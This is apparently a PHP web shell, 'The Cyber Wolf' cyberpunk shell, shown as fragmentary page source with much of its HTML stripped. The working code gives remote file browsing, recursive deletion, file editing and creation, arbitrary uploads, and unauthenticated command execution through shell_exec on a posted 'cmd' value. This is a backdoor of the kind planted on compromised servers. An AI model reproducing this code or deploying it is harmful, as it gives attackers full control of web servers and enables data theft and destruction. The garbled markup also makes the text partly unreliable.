The Cyber Wolf

CYBERPUNK SHELL v2.0
$error
"; ?>
$item, 'path' => $path, 'is_dir' => is_dir($path), 'size' => is_file($path) ? filesize($path) : '-', 'perm' => substr(sprintf('%o', fileperms($path)), -4), 'mtime' => date('Y-m-d H:i:s', filemtime($path)) ); } return $files; } // Handle actions $action = isset($_POST['action']) ? $_POST['action'] : ''; $target = isset($_POST['target']) ? $_POST['target'] : ''; if ($action === 'delete') { $target = realpath($target); if ($target && strpos($target, realpath($current_dir)) === 0) { if (is_file($target)) unlink($target); elseif (is_dir($target)) { $it = new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $f) { if ($f->isDir()) rmdir($f->getRealPath()); else unlink($f->getRealPath()); } rmdir($target); } } header("Location: ?dir=" . urlencode($current_dir)); exit; } if ($action === 'create') { $name = isset($_POST['name']) ? $_POST['name'] : ''; $type = isset($_POST['type']) ? $_POST['type'] : 'file'; $path = $current_dir . '/' . $name; if ($type === 'file') { file_put_contents($path, ''); } else { mkdir($path, 0755, true); } header("Location: ?dir=" . urlencode($current_dir)); exit; } if ($action === 'edit_save') { $file = realpath($target); if ($file && is_file($file) && strpos($file, realpath($current_dir)) === 0) { file_put_contents($file, $_POST['content']); } header("Location: ?dir=" . urlencode($current_dir)); exit; } if ($action === 'upload') { if (isset($_FILES['file'])) { $upload_dir = $current_dir . '/' . (isset($_POST['subdir']) ? $_POST['subdir'] : ''); if (!is_dir($upload_dir)) mkdir($upload_dir, 0755, true); $dest = $upload_dir . '/' . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $dest); } header("Location: ?dir=" . urlencode($current_dir)); exit; } // View file (AJAX) if (isset($_GET['view'])) { $file = realpath($_GET['view']); if ($file && is_file($file) && strpos($file, realpath($current_dir)) === 0) { header('Content-Type: text/plain'); readfile($file); } exit; } // Terminal command execution (AJAX) if (isset($_POST['cmd'])) { $cmd = $_POST['cmd']; $output = shell_exec($cmd . ' 2>&1'); echo "
" . htmlspecialchars($output) . "
"; exit; } // ==================== MAIN UI ==================== $files = listFiles($current_dir); ?> The Cyber Wolf Shell

The Cyber Wolf // CYBERPUNK SHELL

[EXIT]
ROOT > $p / "; } ?>
Name Size Perm Modified Actions
📁 .. (parent)
📁 📄 B ✏ Edit 👁 View